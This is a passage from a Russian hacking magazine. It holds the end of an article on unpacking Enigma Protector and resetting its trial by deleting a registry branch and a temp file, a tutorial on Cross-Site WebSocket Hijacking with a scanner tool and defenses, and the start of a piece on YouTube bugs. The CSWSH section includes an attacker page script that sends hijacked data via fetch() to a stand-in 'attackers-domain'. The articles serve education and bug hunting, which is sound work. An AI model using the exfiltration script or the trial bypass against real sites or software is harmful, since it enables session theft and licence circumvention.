защиту сов сем. Как я уже писал в пре дыду щей статье, прог рамма, защищен‐ 
ная Enigma вер сии стар ше 4,  прос то не дам пится. Вер нее, дам пится,  но на
выходе  получа ется  толь ко  сле пок  кода  реали зации  защиты,  который  нам
не силь но нужен. Поп робу ем разоб рать ся,  как сдам пить прог рамму руками,
бла го незащи щен ная вер сия у нас есть. Открыв исходную прог рамму, мы уви‐ 
дим в ней 12 сек ций:

 

 

Name     VirtSize RVA      PhysSize Offset   Flag 
.text    00E8CEBC 00001000 00E8D000 00001000 60D00060 
.data    000103F8 00E8E000 00010400 00E8E000 C0700040 
.rdata   003C0A80 00E9F000 003C0C00 00E9E400 40600040 
.qtmetad 00000620 01260000 00000800 0125F000 40600040 
.eh_fram 002B5648 01261000 002B5800 0125F800 40300040 
.bss     00003AC0 01517000 00000000 00000000 C0600080 
.edata   00000E04 0151B000 00001000 01515000 40300040 
.idata   000055C4 0151C000 00005600 01516000 C0300040 
.CRT     00000038 01522000 00000200 0151B600 C0300040 
.tls     00000008 01523000 00000200 0151B800 C0300040 
.rsrc    000428B0 01524000 000428B0 0151BA00 C0300040 
.reloc   00062CFC 01567000 00062E00 0155E400 42300040

В  защищен ной  прог рамме  эти  сек ции  тоже  при сутс тву ют,  прав да  без  наз‐ 
ваний, фла гов и в зашиф рован ном виде:

 

 

1   00E8D000 00001000 0061CC00 00000600 E0000040 
2   00011000 00E8E000 00001A00 0061D200 E0000040 
3   003C1000 00E9F000 001E8E00 0061EC00 E0000040 
4   00001000 01260000 00000200 00807A00 E0000040 
5   002B6000 01261000 000BFA00 00807C00 E0000040 
6   00004000 01517000 00000000 00000000 C0600080 
7   00001000 0151B000 00000000 008C7600 E0000040 
8   00006000 0151C000 00000800 008C7600 E0000040 
9   00001000 01522000 00000200 008C7E00 E0000040 
10  00001000 01523000 00000000 008C8000 E0000040 
11  00043000 01524000 00000000 008C8000 E0000040 
12  00063000 01567000 00000000 008C8000 E0000040

То, что они зашиф рованы, — еще пол беды, пос коль ку по мере заг рузки сек‐ 
ции рас шифро выва ются:  в  этом мы можем  убе дить ся,  «всплыв» отладчи ком
во  вре мя  работы  уже  заг ружен ной  прог раммы.  Одна ко  здесь  нас  ожи дает
неп рият ный  сюр приз  —  жиз ненно  необ ходимые  нам  сек ции  импорта
и  экспор та  (в  нашем  при мере    и  )  запол нены  нулями.  Злов‐ 
редная  Enigma  очи щает  их  пос ле  заг рузки  при ложе ния  в  память,  что бы
осложнить нам жизнь. В прин ципе,  таб лица экспор та  у нас есть, но импорт,
ори гиналь ные  наз вания  и фла ги  сек ций  отсутс тву ют,  не  говоря  уже  о  точ ке
вхо да в при ложе ние.

.edata .idаta

Как ни кру ти, а при дет ся лезть в вир туаль ную машину. Заод но пос мотрим,
как  она  выг лядит  в  32‐бит ной  вер сии  (в  прош лой  статье  была  опи сана  64‐
бит ная реали зация). Уже при попыт ке сдам пить при ложе ние мы с огор чени ем
обна ружим, что при дан ном спо собе защиты из нее уже не тор чат уши интер‐ 
пре тато ра  в  виде  экспор тиру емых  сим волов,  —  интер пре татор  при дет ся
искать  самим.  Заг рузив  прог рамму  в  отладчик  (не  забыва ем  о  ScyllaHide)
и тупо запус тив, с ходу спо тыка емся о пер вую попыт ку исклю чения на одной
из двух рогаток:

01AF05A5  div eax     ; <‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Деление на ноль 
01AF05A7  call 1B04618 
01AF05AC  xor eax,eax 
01AF05AE  pop edx 
01AF05AF  pop ecx 
01AF05B0  pop ecx 
01AF05B1  mov dword ptr fs:[eax],edx 
01AF05B4  jmp 1AF05EB 
01AF05B6  jmp 1A108B4 
01AF05BB  call 1A10C1C 
01AF05C0  jmp 1AF05EB 
01AF05C2  xor eax,eax 
01AF05C4  push ebp 
01AF05C5  push 1AF05E1 
01AF05CA  push dword ptr fs:[eax] 
01AF05CD mov dword ptr fs:[eax],esp 
01AF05D0  ud2     ; <‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Недопустимая 
инструкция 
01AF05D2  call 1B04618 
01AF05D7  xor eax,eax 
01AF05D9  pop edx 
01AF05DA  pop ecx 
01AF05DB pop ecx 
01AF05DC mov dword ptr fs:[eax],edx 
01AF05DF  jmp 1AF05EB 

Иг нориру ем  их:  они  нам  не  меша ют,  даже  наобо рот.  Ибо,  про валив шись
в сле дующий за ними вызов, в паре шагов мы обна ружи ваем зна комую нам
по пре дыду щей статье связ ку

push 7E7D14B3 
jmp.1B91420 

Мы  наш ли  адрес  32‐бит ного  интер пре тато ра  шитого  кода  32‐бит ной  вир‐ 
туаль ной машины, ана логич ной той, что я опи сал в пре дыду щей статье. Здесь
он выг лядит вот так:

pushad 
pushfd 
mov dl,1 
mov esi,0 
lea edi,dword ptr ds:[esi+1B937E4] 
lea edi,dword ptr ds:[edi] 
mov ecx,1 
xor eax,eax 
lock cmpxchg dword ptr ds:[edi],ecx 
je 1B9144D 
cmp dl,byte ptr ds:[1B937E0] 
je 1B91422 
inc dl 
add esi,64 
jmp 1B91429 
lea eax,dword ptr ds:[esi+1B937E4] 
lea eax,dword ptr ds:[eax+10] 
mov ecx,dword ptr ss:[esp] 
... 

Да лее,  с  исполь зовани ем  уже  зна комо го  нам  спо соба,  ста вим  на  него
условную точ ку оста нова с печатью в лог  . Нам пред сто ит ана‐ 
лизи ровать  логи  и  искать  раз вилки  в  вир туаль ном  коде  на  пред мет  экспи‐ 
рации три ала или наличия уже рас шифро ван ной, но еще не обну лен ной сек‐ 
ции импорта.

{RAX} {[RSP]}

Про цесс неп ростой, и осложня ется он еще и тем, что акту аль ная Enigma,
как  и  любая  взрос лая  вир туали зиро ван ная  защита,  вдо бавок  про фили рует
вре мя работы отдель ных учас тков вир туаль ного кода. То есть нель зя прос то
так взять и вклю чить логиро вание с самого начала пер вого запус ка вир туаль‐ 
ной машины и получить пол ный лис тинг ее вызовов до заг рузки при ложе ния.
В  этом  слу чае  в  опре делен ный  момент  защита  обна ружит  наличие  точ ки
оста нова и выкинет ошиб ку 

. Поэто му надо отсле живать в вир туаль ном коде кри тичес кие точ‐ 
ки  таких  про верок  и  акку рат но  обхо дить  их. Воз можно,  я  ког да‐нибудь  рас‐ 
ска жу  и  об  этом.  Но  в  начале  статьи  я,  кажет ся,  обе щал  рас крыть  прос той
спо соб?

Internal Protection Error, please contact
to author!

Ты  будешь  сме ять ся,  но,  что бы  зас тавить  прог рамму  зарабо тать  вновь,
нам  не  понадо бит ся  даже  отладчик.  Что  нам  пот ребу ется,  так  это  Process
Monitor  (   мож но  бес плат но  ска чать  с  сай та Microsoft)  и  встро енный
редак тор реес тра RegEdit.

ProcMon

Что бы  отсле дить,  куда  Enigma  пря чет  свои  дан ные,  запус каем  ProcMon
в  момент  стар та  защищен ной  прог раммы  на  компь юте ре.  Если  мы  пре дус‐ 
мотри тель ные, то дела ем это при пер вом запус ке, если нет и мы про мор гали
этот  тро гатель ный  момент  —  тоже  не  беда.  ProcMon,  по  сво ему  обык‐ 
новению,  вывали вает  огромней ший  спи сок  все воз можных  сис темных
вызовов,  неп рерыв но  удли няющий ся  с  каж дой  секун дой,  и,  кажет ся,  разоб‐ 
рать ся в нем нет никакой воз можнос ти. Не спа сает даже то, что, при тор мозив
прог рамму, мы ста вим филь тр на обра щения к реес тру и фай ловой сис теме
исклю читель но от нашего при ложе ния.

Но если мы выпол ним в этом спис ке поиск по сло ву Enigma, про изой дет
чудо!  Пошур шав  нес коль ко  секунд  бай тами,  Process  Monitor  находит  бли же
к середи не спис ка обра щение к вет ке реес тра:

HKCU\Software\Enigma Protector\29AEB4A0365755F6‐
B862CAE984EA4D0E\02F01F553A112DCE‐00C9DB38C18D5FD1 

При чем при пер вом  запус ке  нашей прог раммы вет ка  соз дает ся,  а  при пов‐ 
торных — чита ется. Не веря сво им гла зам (неуже ли все так прос то?), откры‐ 
ваем  редак тор  реес тра  и  акку рат но  выпили ваем  дан ную  вет ку  (в  катало ге

 может ока зать ся мно го подоб ных веток для дру гих прог‐ 
рамм, тоже защищен ных «Эниг мой», их мы не тро гаем).
Enigma Protector

Пе реза пус каем прог рамму, и тут нас под сте рега ет облом — сно ва сооб‐ 
щение о истекшем количес тве запус ков. Лезем в реестр: уби тая вет ка опять
на сво ем мес те. Что ж, сно ва уби ваем, ее запус каем ProcMon и прог рамму —
ага,  пыта ется  обра тить ся  к  уби той  вет ке,  обла мыва ется,  и  сра зу  вслед
за  этим  про исхо дит  обра щение  к  фай лу 

. Стран ный файл, рас положен ный во вре мен ном катало‐ 
ге, раз мер 14 байт.

C:\Users\Username\AppData\Lo‐
cal\Temp\80EB2F5C

Про буем уда лить его вмес те с вет кой, и — бин го! Три ал‐вер сия соф тины,
как ни  в  чем не бывало,  запус кает ся и  прек расно работа ет. Поэк спе римен‐ 
тировав с раз ными три ала ми на раз ных прог раммах, мы видим, что, нес мотря
на  свою  дубовость,  спо соб  получил ся  уни вер саль ным.  Хотя  наз вания  вет ки
реес тра и фай ла Enigma генери рует все вре мя новые, для каж дой прог раммы
они  одни  и  те  же.  То  есть  дос таточ но  пер вый  раз  их  опре делить,  и  мож но
сме ло  в  пакет ном  режиме  уби вать  их  перед  запус ком  защищен ной  прог‐ 
раммы. Труд но поверить, но надо приз нать ся, что все доволь но прос то.

Вы воды из  все го опи сан ного  здесь нап рашива ются  эле мен тарные:  даже
очень популяр ный и наворо чен ный инс тру мент защиты исполня емых фай лов
может  исполь зовать  доволь но  при митив ные  методы  работы.  Которые  зап‐ 
росто мож но сло мать при помощи   пароч ки бес плат ных ути лит
и при род ной сме кал ки.

ло ма и кувал ды

https://xakep.ru/2021/01/15/Enigma-protector-disassembly/
https://enigmaprotector.com/
https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
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ВЗЛОМ

Впер вые  об  уяз вимос ти  Cross‐Site  Web‐
Socket Hijacking (CSWSH) я узнал из статьи

 и 
,  но  не  обра тил  на  нее  вни‐ 

мания. Поз же,  читая  ,
оце нен ный в 800 дол ларов, понял, что хочу
разоб рать ся.  На  прос торах  Рунета  под‐ 
робно го опи сания CSWSH не наш лось, и я
решил написать его самос тоятель но.

Крис тиана Шнай дера выс тупле ния Миха‐ 
ила  Его рова

ре порт на HackerOne

В  этой  статье  мы  раз берем  про токол  WebSocket,  под робно  оста новим ся
на уяз вимос ти CSWSH — нас коль ко она рас простра нена в откры том интерне‐ 
те. Для тех, кто дочита ет до кон ца, я при гото вил бонус в виде ути литы cswsh‐
scanner, с помощью которой ты можешь про верить свои при ложе ния, работа‐ 
ющие с WebSocket, либо попытать уда чи на баг‐баун ти.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ОПИСАНИЕ ПРОТОКОЛА
Итак, что такое  ? Википе дия дает сле дующее опре деле ние: «Web‐
Socket  —  про токол  свя зи  поверх  TCP‐соеди нения,  пред назна чен ный
для  обме на  сооб щени ями  меж ду  бра узе ром  и  веб‐сер вером  в  режиме
реаль ного вре мени». В отли чие от син хрон ного про токо ла HTTP, пос тро енно‐ 
го по модели  «зап рос — ответ», WebSocket  пол ностью асин хрон ный и  сим‐ 
метрич ный. Он при меня ется для орга низа ции чатов, онлайн‐таб ло и соз дает
пос тоян ное  соеди нение меж ду  кли ентом и  сер вером,  которое  обе  сто роны
могут исполь зовать для отправ ки дан ных.

WebSocket

Про токол  WebSocket  опре делен  в  .  Для  про токо ла  зарезер‐ 
вирова ны две URI‐схе мы:

RFC  6455

для обыч ного соеди нения:  ;• ws://host[:port]path[?query]

для соеди нений через тун нель TLS:  .• wss://host[:port]path[?query]

WebSocket  дос таточ но  рас простра нен  в  сов ремен ной  веб‐раз работ ке,  есть
под дер жка  во  всех  популяр ных  язы ках  прог рамми рова ния  и  бра узе рах.  Его
исполь зуют  в  онлайн‐чатах,  дос ках  объ явле ний,  веб‐кон солях,  при ложе ниях
трей деров. С помощью поис ковика   мож но с лег костью най ти при‐ 
ложе ния  на WebSocket,  дос тупные из  интерне та. Дос таточ но  сфор мировать
прос той зап рос. Я не поленил ся и сде лал:

shodan.io

Search for Sec‐WebSocket‐Version HTTP/1.1 400 Bad Request returned 55,461
results on 10‐05‐2020

В резуль тате наш лось 55 тысяч адре сов с обширной геог рафи ей.

WebSocket в мире

УСТАНОВКА СОЕДИНЕНИЯ
Раз берем теперь, как работа ет WebSocket. Вза имо дей ствие меж ду кли ентом
и  сер вером  начина ется  с  рукопо жатия.  Для  рукопо жатия  кли ент  и  сер вер
исполь зуют  про токол HTTP,  но  с  некото рыми отли чиями  в фор мате  переда‐ 
ваемых  сооб щений.  Не  соб люда ются  все  тре бова ния  к  HTTP‐сооб щени ям.
Нап ример, отсутс тву ет заголо вок  .Content‐Length

Для начала кли ент ини циирует соеди нение и отправ ляет зап рос сер веру:

   GET /echo HTTP/1.1
 Host: localhost:8081

 Sec‐WebSocket‐Version: 13
 Origin: http://localhost:8081

 Sec‐WebSocket‐Key: dGhlIHNhbXBsZSBub25jZQ==
 Connection: keep‐alive, Upgrade

 Upgrade: websocket

За голов ки  ,  , 
 обя затель ны, ина че сер вер воз вра щает ста‐ 

тус  .  Сер вер  отве чает  на  зап рос  кли ента  сле‐ 
дующим обра зом:

Sec‐WebSocket‐Version Sec‐WebSocket‐Key Connection:  Up‐
grade и Upgrade: websocket

HTTP/1.1  400  Bad  Request

   HTTP/1.1 101 Switching Protocols
 Upgrade: websocket

 Connection: Upgrade
 Sec‐WebSocket‐Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

За голо вок   фор миру ется кли ентом как слу чай ное 16‐бай‐ 
товое зна чение, закоди рован ное в Base64. Вари ант фор мирова ния заголов‐ 
ка на Go:

Sec‐WebSocket‐Key

       func generateChallengeKey() (string, error) {
       p := make([]byte, 16)
                   if _, err := io.ReadFull(rand.Reader, p); err != nil {
       return "", err
 }
     return base64.StdEncoding.EncodeToString(p), nil
}

За голо вок    в  отве те  фор миру ется  по  сле дующе му
алго рит му.  Берет ся  стро ковое  зна чение  из  заголов ка 
и  объ еди няет ся  с  GUID  .  Далее
вычис ляет ся хеш SHA‐1 от получен ной в пер вом пун кте стро ки. Хеш кодиру‐ 
ется в Base64. Вари ант фор мирова ния заголов ка на Go:

Sec‐WebSocket‐Accept
Sec‐WebSocket‐Key

258EAFA5‐E914‐47DA‐95CA‐C5AB0DC85B11

     const GUID = "258EAFA5‐E914‐47DA‐95CA‐C5AB0DC85B11"

       func computeAcceptKey(challengeKey string) string {
     h := sha1.New()
     h.Write([]byte(challengeKey + GUID))
   return base64.StdEncoding.EncodeToString(h.Sum(nil))
}

За голов ки    и    не  исполь зуют ся
для  авто риза ции  и  под дер жки  сес сий,  они  слу жат  для  того,  что бы  сто роны
убе дились, что зап рос и ответ отно сят ся к про токо лу WebSocket. Это помога‐ 
ет  гаран тировать,  что  сер вер  не  при нима ет  от  кли ентов  зап росы,  не  отно‐ 
сящи еся к WebSocket.

Sec‐WebSocket‐Key Sec‐WebSocket‐Accept

Так же RFC 6455 пред полага ет, что   дол жен быть выб‐ 
ран  слу чай ным  обра зом  для  каж дого  соеди нения.  Это  озна чает,  что  любой
кеширо ван ный  резуль тат  от  прок си‐сер вера  будет  содер жать  невалид ный

  и,  сле дова тель но,  рукопо жатие  про валит ся  вмес то
неп редна мерен ного  чте ния  кеширо ван ных  дан ных.  Для  успешно го  завер‐ 
шения  рукопо жатия  кли ент  про веря ет  зна чение 
и  ожи дает  ста тус‐код  .  Пос ле  того  как  рукопо‐ 
жатие выпол нено, пер воначаль ное соеди нение HTTP заменя ется соеди нени‐ 
ем по WebSocket, которое исполь зует то же соеди нение TCP/IP. На этом эта‐ 
пе любая из сто рон может начать отправ ку дан ных.

Sec‐WebSocket‐Key

Sec‐WebSocket‐Accept

Sec‐WebSocket‐Accept
101  Switching  Protocols

Для монито рин га тра фика WebSocket удоб но исполь зовать «Инс тру мен ты
раз работ чика», дос тупные, к при меру, в Chrome.

WebSocket в «Инс тру мен тах раз работ чика»

ПЕРЕДАЧА ДАННЫХ
Как  в WebSocket  переда ются  сооб щения? Дан ные  по  про токо лу WebSocket
переда ются  как  пос ледова тель ность  фрей мов.  Фрейм  име ет  заголо вок,
в котором содер жится сле дующая информа ция:

фраг менти рова но ли сооб щение;•
тип переда ваемых дан ных — all code;•
под верга лось ли сооб щение мас киров ке — флаг мас ки;•
раз мер дан ных;•
ключ мас ки (32 бита);•
дру гие управля ющие дан ные (ping, pong...).•

Фор мат фрей ма пред став лен на рисун ке.

Фор мат фрей ма WebSocket

Все  сооб щения,  посыла емые  кли ентом,  дол жны  мас кировать ся.  При мер
отправ ки тес тового сооб щения «Hello world!» кли ентом (дан ные из tcpdump):

 Fin: True
 Reserved: 0x0

   Opcode: Text (1)
 Mask: True
   Payload length: 12

 Masking‐Key: a2929b01
 Payload: eaf7f76dcdb2ec6ed0feff20

Мас киров ка  про изво дит ся  обыч ным  XOR  с  клю чом  мас ки.  Кли ент  дол жен
менять  ключ  для  каж дого  передан ного  фрей ма.  Сер вер  не  дол жен  мас‐ 
кировать  свои  сооб щения.  При мер  отправ ки  тес тового  сооб щения  «Hello
world!» сер вером:

 Fin: True
 Reserved: 0x0

   Opcode: Text (1)
 Mask: False
   Payload length: 12
 Payload: 48656c6c6f20776f726c6421

Мас киров ка  переда ваемых  сооб щений  нек риптос той кая,  что бы  обес печить
кон фиден циаль ность,  для  WebSocket  сле дует  исполь зовать  про токол  TLS
и схе му WSS.

КАК РАБОТАЕТ УЯЗВИМОСТЬ
С про токо лом разоб рались, самое вре мя перей ти к CSWSH. Про токол Web‐
Socket  исполь зует Origin‐based модель  безопас ности  при  работе  с  бра узе‐ 
рами. Дру гие механиз мы безопас ности,  нап ример SOP  (Same‐origin  policy),
для  WebSocket  не  при меня ются.  RFC  6455  ука зыва ет,  что  при  уста нов ке
соеди нения сер вер может про верять Origin, а может и нет:

По ле заголов ка Origin в рукопо жатии кли ента озна чает про исхожде ние
скрип та,  который  уста нав лива ет  соеди нение.  Origin  сери али зует ся
через  ASCII  и  кон верти рует ся  в  ниж ний  регистр.  Сер вер  МОЖЕТ
исполь зовать  эту  информа цию  при  при нятии  решения  о  том,  при- 
нимать ли вхо дящее соеди нение. Если сер вер не про веря ет Origin, он
будет  при нимать  соеди нение  отку да  угод но.  Если  сер вер  реша ет
не  при нимать  соеди нение,  он  ОБЯ ЗАН  вер нуть  соот ветс тву ющий
номер ошиб ки HTTP (то есть 403 Forbidden) и отме нить рукопо жатие
по WebSocket, опи сан ное в этой сек ции.

Уяз вимость  CSWSH  свя зана  со  сла бой  или  невыпол ненной  про вер кой
заголов ка Origin в рукопо жатии кли ента. Это раз новид ность уяз вимос ти под‐ 
делки меж сай товых зап росов  (CSRF),  толь ко для WebSocket. Если при ложе‐ 
ние  WebSocket  исполь зует  фай лы  cookie  для  управле ния  сеан сами  поль‐ 
зовате ля,  зло умыш ленник  может  под делать  зап рос  на  рукопо жатие
с  помощью  ата ки  CSRF  и  кон тро лиро вать  сооб щения,  отправ ляемые
и получа емые через соеди нение WebSocket.

Стра ница  зло умыш ленни ка может  затем отправ лять про изволь ные сооб‐ 
щения  на  сер вер  через  соеди нение  и  счи тывать  содер жимое  сооб щений,
получен ных  обратно  с  сер вера.  Это  озна чает,  что,  в  отли чие  от  обыч ной
CSRF,  зло умыш ленник  получа ет  двус торон нее  вза имо дей ствие  со  ском про‐ 
мети рован ным при ложе нием.

Ус пешная ата ка CSWSH поз воля ет зло умыш ленни ку:
1. Вы пол нять  несан кци они рован ные  дей ствия,  мас киру ясь  под  поль зовате‐ 
ля‐жер тву.  Как  и  в  слу чае  обыч ной CSRF,  зло умыш ленник может  отправ‐ 
лять  про изволь ные  сооб щения  в  сер верное  при ложе ние.  Если  оно
исполь зует сге нери рован ные кли ентом сооб щения WebSocket для выпол‐ 
нения  кон фиден циаль ных  дей ствий,  то  зло умыш ленник  может  сге нери‐ 
ровать  под ходящие  меж домен ные  сооб щения  и  ини цииро вать  эти  дей‐ 
ствия.

2. По лучить  кон фиден циаль ные  дан ные,  к  которым  поль зователь  может
иметь дос туп. В отли чие от обыч ной CSRF, меж сай товый зах ват WebSocket
дает  зло умыш ленни ку  двус торон нее  вза имо дей ствие  с  уяз вимым  при‐ 
ложе нием  через  под кон троль ный  WebSocket.  Если  при ложе ние  исполь‐ 
зует  сге нери рован ные  сер вером  сооб щения  WebSocket  для  воз вра та
любых кон фиден циаль ных дан ных поль зовате лю, то зло умыш ленник может
перех ватить эти сооб щения и дан ные поль зовате ля‐жер твы.

CSWSH В ТЕСТОВОЙ СРЕДЕ
Рас смот рим  ата ку CSWSH  на  при мере  уяз вимого  при ложе ния 

. Схе ма ата ки выг лядит сле дующим обра зом.
wss://echo.

websocket.org

Ата ка Cross‐Site WebSocket Hijacking

Раз берем  по  шагам.  Далее  будут  при веде ны  сооб щения  в  фор мате  HTTP,
получен ные на каж дом эта пе.

Жер тва в бра узе ре откры вает под кон троль ный зло умыш ленни ку сайт:

   GET / HTTP/1.1
 Host: attackers‐domain

 User‐Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) 
Gecko/20100101 Firefox/75.0

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
webp,*/*;q=0.8

 Accept‐Language: en‐US,en;q=0.5
 Accept‐Encoding: gzip, deflate

 DNT: 1
 Connection: close

 Upgrade‐Insecure‐Requests: 1
 Pragma: no‐cache

 Cache‐Control: no‐cache

По луча ет от сай та стра ницу с вре донос ным содер жимым:

   HTTP/1.1 200 OK
 Host: attackers‐domain
 Date: Tue, 28 Apr 2020 16:41:03 +0000

 Connection: close
 X‐Powered‐By: PHP/7.1.33
 Content‐type: text/html; charset=UTF‐8

<!DOCTYPE html>
<html>
<body>
 <script>
         websocket = new WebSocket('wss://echo.websocket.org');
       websocket.onopen = start
       websocket.onmessage = handleReply
       function start(event) {
     websocket.send("attackers‐message");
   }
       function handleReply(event) {

      fetch('http://attackers‐domain/', {method:'POST',mode:'no‐cors'
,body:event.data})
   }
 </script>
</body>
</html>

Бра узер жер твы выпол няет скрипт и уста нав лива ет соеди нение с WebSocket‐
при ложе нием    в  кон тек сте  жер твы,  переда вая
зна чение cookie:

ws://echo.websocket.org

   GET / HTTP/1.1
 Host: echo.websocket.org

 User‐Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) 
Gecko/20100101 Firefox/75.0

 Accept: */*
 Accept‐Language: en‐US,en;q=0.5
 Accept‐Encoding: gzip, deflate

 Sec‐WebSocket‐Version: 13
 Origin: http://attackers‐domain

 Sec‐WebSocket‐Key: twWJRgpy7uu5K9RlQCykJQ==
 DNT: 1

 Connection: keep‐alive, Upgrade
 Cookie: SESSIONID=bigsecret
 Pragma: no‐cache

 Cache‐Control: no‐cache
 Upgrade: websocket

При ложе ние при нима ет заголо вок Origin   и откры‐ 
вает новое соеди нение WebSocket, свя зан ное с кукой  :

http://attackers‐domain
SESSIONID=bigsecret

   HTTP/1.1 101 Web Socket Protocol Handshake
 Access‐Control‐Allow‐Credentials: true

 Access‐Control‐Allow‐Headers: content‐type
 Access‐Control‐Allow‐Headers: authorization
 Access‐Control‐Allow‐Headers: x‐websocket‐extensions
 Access‐Control‐Allow‐Headers: x‐websocket‐version
 Access‐Control‐Allow‐Headers: x‐websocket‐protocol
 Access‐Control‐Allow‐Origin: http://attackers‐domain

 Connection: Upgrade
 Date: Tue, 28 Apr 2020 16:30:53 GMT

 Sec‐WebSocket‐Accept: dLe0PXjy/nj7MF8Idif/PLQLNM0=
 Server: Kaazing Gateway
 Upgrade: websocket

Зло умыш ленник отправ ляет от лица жер твы сооб щение attackers‐message.
От  при ложе ния,  отве чающе го  за  WebSocket,  при ходит  ответное  сооб‐ 

щение. Пос коль ку наше при ложе ние — это эхо‐сер вер, ответ тоже будет at‐
tackers‐message.

На зак лючитель ном эта пе ответ от сер вера пересы лает ся на под кон троль‐ 
ный зло умыш ленни ку домен:

   POST / HTTP/1.1
 Host: attackers‐domain

 User‐Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) 
Gecko/20100101 Firefox/75.0

 Accept: */*
 Accept‐Language: en‐US,en;q=0.5
 Accept‐Encoding: gzip, deflate

 Referer: http://attackers‐domain/
 Content‐Type: text/plain;charset=UTF‐8

 Origin: http://attackers‐domain
 Content‐Length: 17

 DNT: 1
 Connection: close

 Pragma: no‐cache
 Cache‐Control: no‐cache

attackers‐message

СОЗДАНИЕ УТИЛИТЫ CSWSH-SCANNER
На осно ве   я раз работал на Go ути литу cswsh‐scanner, ты
можешь  най ти  ее  на  .  Можешь  под клю чить  ее  модулем  в  свой
про ект  или  запус тить  вари ант  для  коман дной  стро ки.  Ути лита  тес тиру ет
рукопо жатие  с  сер вером:  пыта ется  уста новить  соеди нение  с  «под дель ным»
заголов ком  Origin  (не  сов пада ет  location  сер вера).  Сер вер  в  таком  слу чае
не дол жен уста новить соеди нение и вер нуть ста тус‐код 403.

ме тодо логии OWASP
мо ем GitHub

Ус танов ка ути литы:

   github.com/ambalabanov/cswsh‐scanner/... $ go get ‐v ‐u

Ад реса для тес тов зада ются через stdin, воз можно выс тавить свое зна чение
заголов ка Origin. Под держи вает ся мно гопо точ ность и socket.io.

 

 

 
Usage of cswsh‐scanner: 
  ‐o string 
      Origin (default "http://hacker.com") 
  ‐s Socket.IO 
  ‐v Verbose output 
  ‐w int 
    Number of workers (default 1)

$ cswsh‐scanner ‐h

Для при мера прос каниру ем уже извес тное нам при ложе ние 
. Вывод ска нера:

ws://echo.web‐
socket.org

 

 

 
ws://echo.websocket.org 
true,ws://echo.websocket.org 
wss://echo.websocket.org 
true,wss://echo.websocket.org

$ cswsh‐scanner

CSWSH В «ДИКОЙ ПРИРОДЕ»
Что бы оце нить, нас коль ко рас простра нена уяз вимость CSWSH, мож но запус‐ 
тить ска нер на про изволь ной выбор ке WebSocket‐при ложе ний из shodan.io. Я
про тес тировал на выбор ке из 1000 адре сов (файл input.txt):

 

 

 
    1000
$ grep wss:// input.txt | wc ‐l

C помощью cswsh‐scanner про веде но тес тирова ние:

 

 

 
      48
$ cat input.txt| cswsh‐scanner ‐w 100 | grep true | wc ‐l

Ре зуль тат  впе чат ляет:  4,8%  сер висов  из  выбор ки  потен циаль но  уяз вимы
к CSWSH и  при нима ют  зап рос  на  рукопо жатие  с  про изволь ным  заголов ком
Origin. А это зна чит, что раз работ чики при ложе ния либо адми нис тра торы сер‐ 
веров не оце нили опас ность CSWSH и не при няли меры,  что бы  защитить ся
от нее.

ЗАЩИТА ОТ CSWSH
За щитить ся от CSWSH мож но дву мя спо соба ми:

про верять  заголо вок  Origin  зап роса  на  рукопо жатие  WebSocket  на  сер‐ 
вере;

•

ис поль зовать  инди виду аль ные  слу чай ные  токены  (нап ример,  CSRF‐
токены) в зап росе на рукопо жатие и про верять их на сер вере.

•

Иног да защита от CSWSH уже встро ена в биб лиоте ки, но далеко не всег да.
При мер того, как реали зова на защита от CSWSH в фрей мвор ке 

:
Gorilla Web‐

Socket

// checkSameOrigin returns true if the origin is not set or is equal 
to the request host.

       func checkSameOrigin(r *http.Request) bool {
     origin := r.Header["Origin"]
         if len(origin) == 0 {
     return true
 }
       u, err := url.Parse(origin[0])
         if err != nil {
     return false
 }
     return equalASCIIFold(u.Host, r.Host)
}

Про вер ка Origin вклю чена по умол чанию: срав нива ются зна чения заголов ков
Host и Origin из зап роса рукопо жатия.

ВЫВОДЫ
Уяз вимость Cross‐Site WebSocket Hijacking отно сит ся к клас су CSRF для Web‐
Socket. Она прос та в экс плу ата ции и защите. При опре делен ных обсто ятель‐ 
ствах  (зависит  от  биз нес‐логики  при ложе ния)  может  при вес ти  к  серь езным
пос ледс тви ям.  Но  раз работ чики  уде ляют  ей  мало  вни мания,  и,  как  показы‐ 
вает  ска ниро вание,  CSWSH  —  доволь но  рас простра нен ная  уяз вимость
в при ложе ниях, исполь зующих WebSocket.

https://christian-schneider.net/CrossSiteWebSocketHijacking.html
https://www.youtube.com/watch?v=gANzRo7UHt8
https://hackerone.com/reports/535436
https://ru.wikipedia.org/wiki/WebSocket
https://tools.ietf.org/html/rfc6455
https://www.shodan.io/
https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/10-Testing_WebSockets.html
https://github.com/ambalabanov/cswsh-scanner
https://github.com/gorilla/websocket
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ВЗЛОМ

Ес ли  ты  ког да‐нибудь  заливал  на  YouTube  при ват ное  видео
и  подумы вал,  что  оно  может  все  рав но  стать  дос тоянием
общес твен ности,  то  наход ка  незави симо го  баг ханте ра 

 уси лит твои опа сения. Шюц нашел
нес коль ко  спо собов  получить  дос туп  к  при ват ным  видео
на YouTube и извлечь инфу из акка унта. Мы рас ска жем о том,
какие баги сер виса к это му при вели.

Да‐ 
вида Шюца (David Shütz)

КАК УКРАСТЬ ПРИВАТНОЕ ВИДЕО
В декаб ре 2019 года в ходе работы по прог рамме баг баун ти Google Vulnera‐
bility  Reward  Program  (VRP)  Давид  Шюц  заин тересо вал ся  воз можностью
прос мотра при ват ных видео на YouTube. В нас трой ках каж дого заг ружен ного
на  виде охос тинг  ролика  поль зователь  дол жен  ука зать  парамет ры  дос тупа
к нему. Все го пре дус мотре но три вари анта:
1. «Откры тый  дос туп»  (видео  дос тупно  всем  без  исклю чения  и  сво бод но
индекси рует ся поис ковыми сис темами).

2. «Дос туп по ссыл ке» (для прос мотра ролика нуж но перей ти на сайт YouTube
